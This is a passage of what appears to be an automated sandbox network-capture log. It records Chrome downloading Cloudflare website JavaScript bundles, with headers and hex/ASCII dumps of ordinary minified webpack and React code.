78 22 00 00 00 de 95 ce ea 4d 5d d5 ac 9f 95 04 00 00 c0 9b 6a bd a6 b7 8b ea 55 01 00 00 f0 e0 e4 34 d2 fb 44 f5 Data Ascii: &7z,uK]B=u9{7\j+cigvn7c^h6wM41 %lLi<~sZI+ZtcjOVx"M]jU4D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	50708	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:03 UTC	791	OUT	GET /webpack-runtime-1e8f122af67c0024abb2.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:03 UTC	954	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:03 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"40c067dcfc91846b5c04d47eb89d9b3d" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kYSoOOVMQHsYtGjulFdOqpZh7SSvYT0OPnZeBa9HHjcg5sFJo5FjdUjVUhoqHPLF0M%2Bz7%2FIggaGcXxmKM8kgCy%2FmvLjJ22yZVDgRGVxpUd7vuBqr9SudfrlxNlNRmvu7pet6Yw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbd96a56e98f-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 31 38 65 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 74 2c 6e 2c 72 2c 6f 2c 63 3d 7b 7d 2c 61 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 76 61 72 20 74 3d 61 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 74 29 72 65 74 75 72 6e 20 74 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6e 3d 61 5b 65 5d 3d 7b 69 64 3a 65 2c 6c 6f 61 64 65 64 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 63 5b 65 5d 2e 63 61 6c 6c 28 6e 2e 65 78 70 6f 72 74 73 2c 6e 2c 6e 2e 65 78 70 6f 72 74 73 2c 73 29 2c 6e 2e 6c 6f 61 64 65 64 3d 21 30 2c 6e 2e 65 78 70 6f 72 74 73 7d 73 2e 6d 3d 63 2c 65 3d 5b 5d 2c 73 2e 4f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 72 2c 6f 29 7b 69 66 28 21 6e 29 7b 76 Data Ascii: 18e3!function(){"use strict";var e,t,n,r,o,c={},a={};function s(e){var t=a[e];if(void 0!==t)return t.exports;var n=a[e]={id:e,loaded:!1,exports:{}};return c[e].call(n.exports,n,n.exports,s),n.loaded=!0,n.exports}s.m=c,e=[],s.O=function(t,n,r,o){if(!n){v
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 63 74 2e 6b 65 79 73 28 73 2e 66 29 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 73 2e 66 5b 6e 5d 28 65 2c 74 29 2c 74 7d 29 2c 5b 5d 29 29 7d 2c 73 2e 75 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 28 7b 34 32 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 65 73 73 2d 70 72 65 73 73 2d 74 73 78 22 2c 34 39 3a 22 42 6c 61 64 65 47 65 6e 65 72 69 63 49 6e 64 75 73 74 72 79 41 6e 61 6c 79 73 74 48 69 67 68 6c 69 67 68 74 73 22 2c 36 36 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 61 62 6f 75 74 2d 79 6f 75 72 2d 77 65 62 73 69 74 65 2d 61 62 6f 75 74 2d 79 6f 75 72 2d 77 65 62 73 69 74 65 2d 74 73 78 22 2c 39 32 Data Ascii: ct.keys(s.f).reduce((function(t,n){return s.f[n](e,t),t}),[]))},s.u=function(e){return({42:"component---src-components-press-press-tsx",49:"BladeGenericIndustryAnalystHighlights",66:"component---src-components-about-your-website-about-your-website-tsx",92
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 6e 74 65 72 2d 74 65 6d 70 6c 61 74 65 73 2d 6c 65 61 72 6e 69 6e 67 2d 63 65 6e 74 65 72 2d 61 72 74 69 63 6c 65 2d 74 65 6d 70 6c 61 74 65 2d 74 73 78 22 2c 37 32 32 3a 22 33 37 61 37 36 33 62 34 22 2c 38 30 32 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 65 73 73 2d 72 65 6c 65 61 73 65 73 2d 74 65 6d 70 6c 61 74 65 73 2d 70 72 65 73 73 2d 72 65 6c 65 61 73 65 2d 74 65 6d 70 6c 61 74 65 2d 74 73 78 22 2c 38 31 30 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 34 30 34 2d 34 30 34 2d 74 73 78 22 2c 38 37 36 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 72 65 73 73 2d 61 77 61 72 64 73 2d 70 72 65 73 73 2d 61 77 61 72 64 73 Data Ascii: nter-templates-learning-center-article-template-tsx",722:"37a763b4",802:"component---src-components-press-releases-templates-press-release-template-tsx",810:"component---src-components-404-404-tsx",876:"component---src-components-press-awards-press-awards
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 30 37 61 65 22 7d 5b 65 5d 2b 22 2e 6a 73 22 7d 2c 73 2e 6d 69 6e 69 43 73 73 46 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 73 74 79 6c 65 73 2e 66 36 34 30 61 66 38 66 36 33 37 63 33 39 63 61 37 35 64 37 2e 63 73 73 22 7d 2c 73 2e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 29 72 65 74 75 72 6e 20 67 6c 6f 62 61 6c 54 68 69 73 3b 74 72 79 7b 72 65 74 75 72 6e 20 74 68 69 73 7c 7c 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 72 65 74 75 72 6e 20 74 68 69 73 22 29 28 29 7d 63 61 74 63 68 28 65 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 29 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 7d 7d 28 29 2c 73 2e 6f 3d 66 75 6e 63 74 Data Ascii: 07ae"}[e]+".js"},s.miniCssF=function(e){return"styles.f640af8f637c39ca75d7.css"},s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),s.o=funct
2024-10-18 13:48:03 UTC	903	IN	Data Raw: 7d 3b 73 2e 66 2e 6a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 72 3d 73 2e 6f 28 65 2c 74 29 3f 65 5b 74 5d 3a 76 6f 69 64 20 30 3b 69 66 28 30 21 3d 3d 72 29 69 66 28 72 29 6e 2e 70 75 73 68 28 72 5b 32 5d 29 3b 65 6c 73 65 20 69 66 28 2f 5e 28 33 31 31 7c 38 36 39 29 24 2f 2e 74 65 73 74 28 74 29 29 65 5b 74 5d 3d 30 3b 65 6c 73 65 7b 76 61 72 20 6f 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 3d 65 5b 74 5d 3d 5b 6e 2c 6f 5d 7d 29 29 3b 6e 2e 70 75 73 68 28 72 5b 32 5d 3d 6f 29 3b 76 61 72 20 63 3d 73 2e 70 2b 73 2e 75 28 74 29 2c 61 3d 6e 65 77 20 45 72 72 6f 72 3b 73 2e 6c 28 63 2c 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 69 66 28 73 2e 6f 28 65 2c 74 29 26 26 28 30 21 3d 3d 28 72 3d 65 5b 74 5d Data Ascii: };s.f.j=function(t,n){var r=s.o(e,t)?e[t]:void 0;if(0!==r)if(r)n.push(r[2]);else if(/^(311\|869)$/.test(t))e[t]=0;else{var o=new Promise((function(n,o){r=e[t]=[n,o]}));n.push(r[2]=o);var c=s.p+s.u(t),a=new Error;s.l(c,(function(n){if(s.o(e,t)&&(0!==(r=e[t]
2024-10-18 13:48:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	50710	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:03 UTC	785	OUT	GET /framework-957a522640f43541ca6a.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:03 UTC	952	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:03 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"d711fa5a10b8d800843871fd03aeef22" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GiA48f7ojNUX73NJa8rymm3aKLYquGnffxJj5rF0vZlLp9pBhtuIJauB6gQqRl4jXkfd3iAjrdwjFM0rpkfqH4PEy4wKJBykHfUwZ%2BpLvIuQki%2BsNUmnoLF3l6VT0cgwnD9ffg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbda1a483ab8-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 37 66 66 32 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 66 72 61 6d 65 77 6f 72 6b 2d 39 35 37 61 35 32 32 36 34 30 66 34 33 35 34 31 63 61 36 61 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 35 39 33 5d 2c 7b 32 36 39 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 74 28 36 39 32 35 29 3b 66 75 6e 63 74 69 Data Ascii: 7ff2/! For license information please see framework-957a522640f43541ca6a.js.LICENSE.txt /(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[593],{2694:function(e,n,t){"use strict";var r=t(6925);functi
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 6e 67 73 2e 22 7d 76 61 72 20 6f 3d 6e 65 77 20 53 65 74 2c 75 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 6e 29 7b 73 28 65 2c 6e 29 2c 73 28 65 2b 22 43 61 70 74 75 72 65 22 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 6e 29 7b 66 6f 72 28 75 5b 65 5d 3d 6e 2c 65 3d 30 3b 65 3c 6e 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 6f 2e 61 64 64 28 6e 5b 65 5d 29 7d 76 61 72 20 63 3d 21 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 7c 7c 76 6f 69 64 20 30 3d 3d 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 7c 7c 76 6f 69 64 20 30 3d 3d 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 29 2c 66 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 Data Ascii: ngs."}var o=new Set,u={};function i(e,n){s(e,n),s(e+"Capture",n)}function s(e,n){for(u[e]=n,e=0;e<n.length;e++)o.add(n[e])}var c=!("undefined"==typeof window\|\|void 0===window.document\|\|void 0===window.document.createElement),f=Object.prototype.hasOwnPrope
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 6f 75 72 63 65 73 52 65 71 75 69 72 65 64 22 2c 22 66 6f 63 75 73 61 62 6c 65 22 2c 22 70 72 65 73 65 72 76 65 41 6c 70 68 61 22 5d 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 5b 65 5d 3d 6e 65 77 20 68 28 65 2c 32 2c 21 31 2c 65 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 29 2c 22 61 6c 6c 6f 77 46 75 6c 6c 53 63 72 65 65 6e 20 61 73 79 6e 63 20 61 75 74 6f 46 6f 63 75 73 20 61 75 74 6f 50 6c 61 79 20 63 6f 6e 74 72 6f 6c 73 20 64 65 66 61 75 6c 74 20 64 65 66 65 72 20 64 69 73 61 62 6c 65 64 20 64 69 73 61 62 6c 65 50 69 63 74 75 72 65 49 6e 50 69 63 74 75 72 65 20 64 69 73 61 62 6c 65 52 65 6d 6f 74 65 50 6c 61 79 62 61 63 6b 20 66 6f 72 6d 4e 6f 56 61 6c 69 64 61 74 65 20 68 69 64 64 65 6e 20 6c 6f 6f 70 20 6e 6f 4d 6f 64 75 6c Data Ascii: ourcesRequired","focusable","preserveAlpha"].forEach((function(e){v[e]=new h(e,2,!1,e,null,!1,!1)})),"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModul
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 74 75 72 6e 20 69 73 4e 61 4e 28 6e 29 7c 7c 31 3e 6e 7d 72 65 74 75 72 6e 21 31 7d 28 6e 2c 74 2c 6c 2c 72 29 26 26 28 74 3d 6e 75 6c 6c 29 2c 72 7c 7c 6e 75 6c 6c 3d 3d 3d 6c 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 21 66 2e 63 61 6c 6c 28 6d 2c 65 29 7c 7c 21 66 2e 63 61 6c 6c 28 70 2c 65 29 26 26 28 64 2e 74 65 73 74 28 65 29 3f 6d 5b 65 5d 3d 21 30 3a 28 70 5b 65 5d 3d 21 30 2c 21 31 29 29 7d 28 6e 29 26 26 28 6e 75 6c 6c 3d 3d 3d 74 3f 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 6e 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6e 2c 22 22 2b 74 29 29 3a 6c 2e 6d 75 73 74 55 73 65 50 72 6f 70 65 72 74 79 3f 65 5b 6c 2e 70 72 6f 70 65 72 74 79 4e 61 6d 65 5d 3d 6e 75 6c 6c 3d 3d 3d 74 3f 33 21 3d 3d 6c 2e 74 79 70 65 Data Ascii: turn isNaN(n)\|\|1>n}return!1}(n,t,l,r)&&(t=null),r\|\|null===l?function(e){return!!f.call(m,e)\|\|!f.call(p,e)&&(d.test(e)?m[e]=!0:(p[e]=!0,!1))}(n)&&(null===t?e.removeAttribute(n):e.setAttribute(n,""+t)):l.mustUseProperty?e[l.propertyName]=null===t?3!==l.type
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 61 6e 67 69 6e 67 20 76 2d 69 64 65 6f 67 72 61 70 68 69 63 20 76 2d 6d 61 74 68 65 6d 61 74 69 63 61 6c 20 76 65 63 74 6f 72 2d 65 66 66 65 63 74 20 76 65 72 74 2d 61 64 76 2d 79 20 76 65 72 74 2d 6f 72 69 67 69 6e 2d 78 20 76 65 72 74 2d 6f 72 69 67 69 6e 2d 79 20 77 6f 72 64 2d 73 70 61 63 69 6e 67 20 77 72 69 74 69 6e 67 2d 6d 6f 64 65 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 20 78 2d 68 65 69 67 68 74 22 2e 73 70 6c 69 74 28 22 20 22 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 67 2c 79 29 3b 76 5b 6e 5d 3d 6e 65 77 20 68 28 6e 2c 31 2c 21 31 2c 65 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 29 2c 22 78 6c 69 6e 6b 3a 61 63 74 75 61 74 65 20 78 6c 69 6e 6b 3a 61 72 63 72 6f 6c 65 20 78 Data Ascii: anging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach((function(e){var n=e.replace(g,y);v[n]=new h(n,1,!1,e,null,!1,!1)})),"xlink:actuate xlink:arcrole x
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 66 66 73 63 72 65 65 6e 22 29 3b 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 72 65 61 63 74 2e 6c 65 67 61 63 79 5f 68 69 64 64 65 6e 22 29 2c 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 72 65 61 63 74 2e 63 61 63 68 65 22 29 2c 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 72 65 61 63 74 2e 74 72 61 63 69 6e 67 5f 6d 61 72 6b 65 72 22 29 3b 76 61 72 20 4d 3d 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3b 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 65 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 65 3f 6e 75 6c 6c 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 65 3d 4d 26 26 65 5b 4d 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 29 3f 65 3a 6e 75 6c 6c 7d 76 61 72 20 44 2c 49 3d 4f 62 6a 65 63 74 2e 61 73 73 Data Ascii: ffscreen");Symbol.for("react.legacy_hidden"),Symbol.for("react.cache"),Symbol.for("react.tracing_marker");var M=Symbol.iterator;function F(e){return null===e\|\|"object"!=typeof e?null:"function"==typeof(e=M&&e[M]\|\|e["@@iterator"])?e:null}var D,I=Object.ass
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 20 55 28 22 4c 61 7a 79 22 29 3b 63 61 73 65 20 31 33 3a 72 65 74 75 72 6e 20 55 28 22 53 75 73 70 65 6e 73 65 22 29 3b 63 61 73 65 20 31 39 3a 72 65 74 75 72 6e 20 55 28 22 53 75 73 70 65 6e 73 65 4c 69 73 74 22 29 3b 63 61 73 65 20 30 3a 63 61 73 65 20 32 3a 63 61 73 65 20 31 35 3a 72 65 74 75 72 6e 20 65 3d 41 28 65 2e 74 79 70 65 2c 21 31 29 3b 63 61 73 65 20 31 31 3a 72 65 74 75 72 6e 20 65 3d 41 28 65 2e 74 79 70 65 2e 72 65 6e 64 65 72 2c 21 31 29 3b 63 61 73 65 20 31 3a 72 65 74 75 72 6e 20 65 3d 41 28 65 2e 74 79 70 65 2c 21 30 29 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 22 22 7d 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 65 29 7b 69 66 28 6e 75 6c 6c 3d 3d 65 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 Data Ascii: U("Lazy");case 13:return U("Suspense");case 19:return U("SuspenseList");case 0:case 2:case 15:return e=A(e.type,!1);case 11:return e=A(e.type.render,!1);case 1:return e=A(e.type,!0);default:return""}}function j(e){if(null==e)return null;if("function"==ty
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 74 4d 6f 64 65 22 3a 22 4d 6f 64 65 22 3b 63 61 73 65 20 32 32 3a 72 65 74 75 72 6e 22 4f 66 66 73 63 72 65 65 6e 22 3b 63 61 73 65 20 31 32 3a 72 65 74 75 72 6e 22 50 72 6f 66 69 6c 65 72 22 3b 63 61 73 65 20 32 31 3a 72 65 74 75 72 6e 22 53 63 6f 70 65 22 3b 63 61 73 65 20 31 33 3a 72 65 74 75 72 6e 22 53 75 73 70 65 6e 73 65 22 3b 63 61 73 65 20 31 39 3a 72 65 74 75 72 6e 22 53 75 73 70 65 6e 73 65 4c 69 73 74 22 3b 63 61 73 65 20 32 35 3a 72 65 74 75 72 6e 22 54 72 61 63 69 6e 67 4d 61 72 6b 65 72 22 3b 63 61 73 65 20 31 3a 63 61 73 65 20 30 3a 63 61 73 65 20 31 37 3a 63 61 73 65 20 32 3a 63 61 73 65 20 31 34 3a 63 61 73 65 20 31 35 3a 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 29 72 65 74 75 72 6e 20 6e 2e 64 69 73 70 6c 61 Data Ascii: tMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if("function"==typeof n)return n.displa
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 6f 69 64 20 30 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 74 72 79 7b 72 65 74 75 72 6e 20 65 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 7c 7c 65 2e 62 6f 64 79 7d 63 61 74 63 68 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 62 6f 64 79 7d 7d 66 75 6e 63 74 69 6f 6e 20 59 28 65 2c 6e 29 7b 76 61 72 20 74 3d 6e 2e 63 68 65 63 6b 65 64 3b 72 65 74 75 72 6e 20 49 28 7b 7d 2c 6e 2c 7b 64 65 66 61 75 6c 74 43 68 65 63 6b 65 64 3a 76 6f 69 64 20 30 2c 64 65 66 61 75 6c 74 56 61 6c 75 65 3a 76 6f 69 64 20 30 2c 76 61 6c 75 65 3a 76 6f 69 64 20 30 2c 63 68 65 63 6b 65 64 3a 6e 75 6c 6c 21 3d 74 3f 74 3a 65 2e 5f 77 72 61 70 70 65 72 53 74 61 74 65 2e 69 6e 69 74 69 61 6c 43 68 65 63 6b 65 64 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 58 28 65 2c 6e 29 7b 76 61 72 20 74 3d 6e Data Ascii: oid 0)))return null;try{return e.activeElement\|\|e.body}catch(n){return e.body}}function Y(e,n){var t=n.checked;return I({},n,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:null!=t?t:e._wrapperState.initialChecked})}function X(e,n){var t=n
2024-10-18 13:48:03 UTC	1369	IN	Data Raw: 75 6c 6c 3d 3d 74 3f 65 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 22 22 2b 65 2e 5f 77 72 61 70 70 65 72 53 74 61 74 65 2e 69 6e 69 74 69 61 6c 56 61 6c 75 65 3a 65 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 21 3d 3d 22 22 2b 74 26 26 28 65 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 22 22 2b 74 29 29 7d 76 61 72 20 6e 65 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 3b 66 75 6e 63 74 69 6f 6e 20 74 65 28 65 2c 6e 2c 74 2c 72 29 7b 69 66 28 65 3d 65 2e 6f 70 74 69 6f 6e 73 2c 6e 29 7b 6e 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 6c 3d 30 3b 6c 3c 74 2e 6c 65 6e 67 74 68 3b 6c 2b 2b 29 6e 5b 22 24 22 2b 74 5b 6c 5d 5d 3d 21 30 3b 66 6f 72 28 74 3d 30 3b 74 3c 65 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 6c 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 24 22 2b 65 5b Data Ascii: ull==t?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+t&&(e.defaultValue=""+t))}var ne=Array.isArray;function te(e,n,t,r){if(e=e.options,n){n={};for(var l=0;l<t.length;l++)n["$"+t[l]]=!0;for(t=0;t<e.length;t++)l=n.hasOwnProperty("$"+e[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	50709	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:03 UTC	779	OUT	GET /app-5eb8714132173426f3bb.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
